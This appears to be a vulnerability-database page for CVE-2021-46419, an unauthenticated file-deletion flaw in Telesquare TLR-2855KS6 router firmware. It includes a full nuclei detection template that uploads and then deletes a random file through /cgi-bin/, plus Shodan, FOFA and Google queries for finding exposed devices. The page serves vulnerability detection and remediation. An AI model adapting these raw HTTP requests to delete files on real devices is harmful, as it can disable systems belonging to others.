HexBrain

Browse / CVEs / CVE-2021-46419

CVE-2021-46419· telesquare / tlr-2855ks6 firmware

Telesquare TLR-2855KS6 - Arbitrary File Deletion

criticalseverity
9.1CVSS score
71.4%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

An unauthorized file deletion vulnerability in Telesquare TLR-2855KS6 via DELETE method can allow deletion of system files and scripts.

Impact

Unauthenticated attackers can delete arbitrary files from the Telesquare TLR-2855KS6 device using HTTP DELETE requests, potentially destroying system files and rendering the device inoperable.

Fix

Apply firmware updates provided by Telesquare or restrict HTTP DELETE access to the device.

How to confirm it

Send: PUT /cgi-bin/{{filename}}.txt ; DELETE /cgi-bin/{{filename}}.txt
Positive when: status_code_1 == 201 && status_code_2 == 204 and contains(server_1, "lighttpd")

Run it with nuclei: nuclei -id CVE-2021-46419 -u <target>

The full check
id: CVE-2021-46419

info:
  name: Telesquare TLR-2855KS6 - Arbitrary File Deletion
  author: DhiyaneshDK
  severity: critical
  description: |
    An unauthorized file deletion vulnerability in Telesquare TLR-2855KS6 via DELETE method can allow deletion of system files and scripts.
  impact: |
    Unauthenticated attackers can delete arbitrary files from the Telesquare TLR-2855KS6 device using HTTP DELETE requests, potentially destroying system files and rendering the device inoperable.
  remediation: |
    Apply firmware updates provided by Telesquare or restrict HTTP DELETE access to the device.
  reference:
    - https://nvd.nist.gov/vuln/detail/cve-2021-46419
    - http://packetstormsecurity.com/files/166675/Telesquare-TLR-2855KS6-Arbitrary-File-Deletion.html
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
    cvss-score: 9.1
    cve-id: CVE-2021-46419
    epss-score: 0.71384
    epss-percentile: 0.99418
    cpe: cpe:2.3:o:telesquare:tlr-2855ks6_firmware:-:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: telesquare
    product: "tlr-2855ks6_firmware"
    shodan-query:
      - "title:\"Login to TLR-2855KS6\""
      - http.title:"login to tlr-2855ks6"
    fofa-query:
      - "product==\"TELESQUARE-TLR-2855KS6\""
      - title="login to tlr-2855ks6"
      - product=="telesquare-tlr-2855ks6"
    google-query: "intitle:\"login to tlr-2855ks6\""
  tags: packetstorm,cve,cve2021,telesquare,intrusive,vuln
variables:
  filename: "{{rand_base(6)}}"

http:
  - raw:
      - |
        PUT /cgi-bin/{{filename}}.txt HTTP/1.1
        Host: {{Hostname}}
        DNT: 1

        {{randstr}}
      - |
        DELETE /cgi-bin/{{filename}}.txt HTTP/1.1
        Host: {{Hostname}}
        DNT: 1

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'status_code_1 == 201 && status_code_2 == 204'
          - 'contains(server_1, "lighttpd")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from